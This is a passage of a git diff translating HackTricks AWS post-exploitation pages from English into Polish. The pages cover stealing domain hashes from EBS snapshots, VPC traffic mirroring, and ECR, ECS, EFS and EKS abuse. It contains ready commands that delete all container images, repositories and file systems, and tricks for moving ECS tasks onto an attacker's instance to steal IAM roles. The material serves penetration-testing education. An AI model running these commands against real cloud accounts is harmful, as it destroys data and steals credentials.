mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +Krok 7: Utwórz katalog według własnego wyboru, aby zamontować nowy wolumin ext4. Na przykład, możesz użyć nazwy "newvolume". -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +Aby móc wykonać tę akcję, użyj polecenia `sudo mkdir /newvolume`. -To be able to perform this action, use the command `sudo mkdir /newvolume`. +Krok 8: Zamontuj wolumin w katalogu "newvolume" używając polecenia `sudo mount /dev/xvdf /newvolume/`. -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +Krok 9: Zmień katalog na katalog "newvolume" i sprawdź przestrzeń dyskową, aby zweryfikować montaż woluminu. -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +Aby móc wykonać tę akcję, użyj następujących poleceń: -To be able to perform this action, use the following commands: +- Zmień katalog na `/newvolume`. +- Sprawdź przestrzeń dyskową używając polecenia `df -h .`. Wynik tego polecenia powinien pokazać wolną przestrzeń w katalogu "newvolume". -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +Możesz to zrobić z Pacu używając modułu `ebs__explore_snapshots`. +## Sprawdzanie migawki w AWS (używając cli) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz rejestr SYSTEM** do użycia z projektem secretsdump Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu. ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..a3616f8a9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów na temat ataku!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja o nazwie “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów (IDS) w celu **analizy**. -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwany tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty. -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +**Wpływ** złośliwego mirroringu ruchu VPC może być znaczący, ponieważ pozwala atakującym na dostęp do **wrażliwych informacji** przesyłanych w VPC. **Prawdopodobieństwo** takiego złośliwego mirroringu jest wysokie, biorąc pod uwagę obecność **ruchu w postaci czystego tekstu** przepływającego przez VPC. Wiele firm używa protokołów w postaci czystego tekstu w swoich sieciach wewnętrznych z powodów **wydajnościowych**, zakładając, że tradycyjne ataki typu man-in-the-middle nie są możliwe. -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +Aby uzyskać więcej informacji i dostęp do [**skryptu malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), można go znaleźć w naszym **repozytorium GitHub**. Skrypt automatyzuje i upraszcza proces, czyniąc go **szybkim, prostym i powtarzalnym** w celach badawczych ofensywnych. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..c7654e006 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -4,14 +4,13 @@ ## ECR -For more information check +Aby uzyskać więcej informacji, sprawdź {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### Logowanie, Pobieranie i Wysyłanie ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +Po pobraniu obrazów powinieneś **sprawdzić je pod kątem wrażliwych informacji**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +Atakujący z dowolnym z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..d3ccb5b91 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -4,50 +4,45 @@ ## ECS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### Role IAM hosta -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +W ECS **rola IAM może być przypisana do zadania** działającego w kontenerze. **Jeśli** zadanie jest uruchamiane w **instancji EC2**, **instancja EC2** będzie miała **inną rolę IAM** przypisaną do niej.\ +Co oznacza, że jeśli uda ci się **skomprymować** instancję ECS, możesz potencjalnie **uzyskać rolę IAM przypisaną do ECR i do instancji EC2**. Aby uzyskać więcej informacji na temat tego, jak uzyskać te poświadczenia, sprawdź: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> Zauważ, że jeśli instancja EC2 wymusza IMDSv2, [**zgodnie z dokumentacją**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odpowiedź na żądanie PUT** będzie miała **limit skoków równy 1**, co uniemożliwia dostęp do metadanych EC2 z kontenera wewnątrz instancji EC2. -### Privesc to node to steal other containers creds & secrets +### Privesc do węzła w celu kradzieży poświadczeń i sekretów innych kontenerów -But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. +Co więcej, EC2 używa dockera do uruchamiania zadań ECs, więc jeśli możesz uciec do węzła lub **uzyskać dostęp do gniazda dockera**, możesz **sprawdzić**, które **inne kontenery** są uruchamiane, a nawet **dostać się do nich** i **ukraść ich przypisane role IAM**. -#### Making containers run in current host - -Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. +#### Uruchamianie kontenerów na bieżącym hoście +Ponadto, **rola instancji EC2** zazwyczaj będzie miała wystarczające **uprawnienia** do **aktualizacji stanu instancji kontenera** instancji EC2 używanych jako węzły w klastrze. Atakujący mógłby zmodyfikować **stan instancji na DRAINING**, wtedy ECS **usunie wszystkie zadania z niej**, a te uruchamiane jako **REPLICA** będą **uruchamiane w innej instancji,** potencjalnie wewnątrz **instancji atakującego**, aby mógł **ukraść ich role IAM** i potencjalnie wrażliwe informacje z wnętrza kontenera. ```bash aws ecs update-container-instances-state \ - --cluster --status DRAINING --container-instances +--cluster --status DRAINING --container-instances ``` - -The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** - +Ta sama technika może być wykonana przez **wyrejestrowanie instancji EC2 z klastra**. To jest potencjalnie mniej ukryte, ale **wymusi uruchomienie zadań na innych instancjach:** ```bash aws ecs deregister-container-instance \ - --cluster --container-instance --force +--cluster --container-instance --force ``` - -A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: - +Ostatnią techniką wymuszającą ponowne wykonanie zadań jest wskazanie ECS, że **zadanie lub kontener został zatrzymany**. Istnieją 3 potencjalne interfejsy API, aby to zrobić: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ - --status STOPPED --reason "anything" --containers [...] +--status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... @@ -55,13 +50,8 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` +### Kradnij wrażliwe informacje z kontenerów ECR -### Steal sensitive info from ECR containers - -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). +Instancja EC2 prawdopodobnie będzie miała również uprawnienie `ecr:GetAuthorizationToken`, co pozwoli jej na **pobieranie obrazów** (możesz szukać w nich wrażliwych informacji). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 35b644689..b0d9b77ba 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -4,7 +4,7 @@ ## EFS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-efs-enum.md @@ -12,47 +12,35 @@ For more information check: ### `elasticfilesystem:DeleteMountTarget` -An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target. - +Napastnik mógłby usunąć punkt montowania, potencjalnie zakłócając dostęp do systemu plików EFS dla aplikacji i użytkowników polegających na tym punkcie montowania. ```sql aws efs delete-mount-target --mount-target-id ``` - -**Potential Impact**: Disruption of file system access and potential data loss for users or applications. +**Potencjalny wpływ**: Zakłócenie dostępu do systemu plików i potencjalna utrata danych dla użytkowników lub aplikacji. ### `elasticfilesystem:DeleteFileSystem` -An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system. - +Napastnik mógłby usunąć cały system plików EFS, co mogłoby prowadzić do utraty danych i wpłynąć na aplikacje polegające na systemie plików. ```perl aws efs delete-file-system --file-system-id ``` - -**Potential Impact**: Data loss and service disruption for applications using the deleted file system. +**Potencjalny wpływ**: Utrata danych i zakłócenia w działaniu aplikacji korzystających z usuniętego systemu plików. ### `elasticfilesystem:UpdateFileSystem` -An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion. - +Napastnik mógłby zaktualizować właściwości systemu plików EFS, takie jak tryb przepustowości, aby wpłynąć na jego wydajność lub spowodować wyczerpanie zasobów. ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` +**Potencjalny wpływ**: Degradacja wydajności systemu plików lub wyczerpanie zasobów. -**Potential Impact**: Degradation of file system performance or resource exhaustion. - -### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint` - -An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system. +### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint` +Napastnik mógłby utworzyć lub usunąć punkty dostępu, zmieniając kontrolę dostępu i potencjalnie przyznając sobie nieautoryzowany dostęp do systemu plików. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` - -**Potential Impact**: Unauthorized access to the file system, data exposure or modification. +**Potencjalny wpływ**: Nieautoryzowany dostęp do systemu plików, ujawnienie lub modyfikacja danych. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index eb1f77f46..52dcbdf36 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -4,110 +4,101 @@ ## EKS -For mor information check +Aby uzyskać więcej informacji, sprawdź {{#ref}} ../aws-services/aws-eks-enum.md {{#endref}} -### Enumerate the cluster from the AWS Console +### Enumeracja klastra z konsoli AWS -If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Jeśli masz uprawnienia **`eks:AccessKubernetesApi`**, możesz **wyświetlać obiekty Kubernetes** za pośrednictwem konsoli AWS EKS ([Dowiedz się więcej](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Connect to AWS Kubernetes Cluster - -- Easy way: +### Połączenie z klastrem Kubernetes AWS +- Łatwy sposób: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` +- Nie tak łatwy sposób: -- Not that easy way: - -If you can **get a token** with **`aws eks get-token --name `** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**. - -In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name): +Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name `**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpointu do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**. +W moim przypadku nie znalazłem informacji w logach CloudWatch, ale **znalazłem je w LaunchTemplates userData** oraz w **maszynach EC2 w userData również**. Możesz łatwo zobaczyć te informacje w **userData**, na przykład w następnym przykładzie (nazwa klastra to cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false ``` -
kube config - ```yaml describe-cache-parametersapiVersion: v1 clusters: - - cluster: - certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== - server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com - name: arn:aws:eks:us-east-1::cluster/ +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ contexts: - - context: - cluster: arn:aws:eks:us-east-1::cluster/ - user: arn:aws:eks:us-east-1::cluster/ - name: arn:aws:eks:us-east-1::cluster/ +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ current-context: arn:aws:eks:us-east-1::cluster/ kind: Config preferences: {} users: - - name: arn:aws:eks:us-east-1::cluster/ - user: - exec: - apiVersion: client.authentication.k8s.io/v1beta1 - args: - - --region - - us-west-2 - - --profile - - - - eks - - get-token - - --cluster-name - - - command: aws - env: null - interactiveMode: IfAvailable - provideClusterInfo: false +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false ``` -
-### From AWS to Kubernetes +### Z AWS do Kubernetes -The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**. +**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (administrator k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**. -The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**. +Sposobem na przyznanie **dostępu do K8s dla większej liczby użytkowników lub ról AWS IAM** jest użycie **configmap** **`aws-auth`**. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Dlatego każdy, kto ma **dostęp do zapisu** w mapie konfiguracyjnej **`aws-auth`**, będzie mógł **skompromentować cały klaster**. -For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Aby uzyskać więcej informacji na temat tego, jak **przyznać dodatkowe przywileje rolom i użytkownikom IAM** w **tym samym lub innym koncie** oraz jak to **wykorzystać** [**privesc sprawdź tę stronę**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Sprawdź również [**ten niesamowity**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post, aby dowiedzieć się, jak działa uwierzytelnianie IAM -> Kubernetes**. -### From Kubernetes to AWS +### Z Kubernetes do AWS -It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume 